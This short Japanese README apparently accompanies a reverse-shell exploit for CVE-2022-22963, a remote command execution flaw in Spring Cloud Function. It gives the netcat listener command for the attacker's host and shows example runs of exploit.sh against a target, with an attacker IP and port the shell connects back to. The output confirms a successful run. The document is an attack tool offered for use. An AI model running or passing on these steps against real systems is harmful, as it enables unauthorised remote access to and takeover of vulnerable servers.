Spring CloudのRCEエクスプロイト (CVE 2022-22963)

CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行

脆弱性の詳細については、こちら と こちら を参照してください。

PoC

攻撃者のホスト上でnetcatを実行:

$ nc -lvnp 9001

攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）:

$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done

攻撃者のホスト上で指定したポート 1337 を使用してエクスプロイトを実行する（例）:

$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done

RCE-in-Spring-Cloud-CVE-2022-22963

人気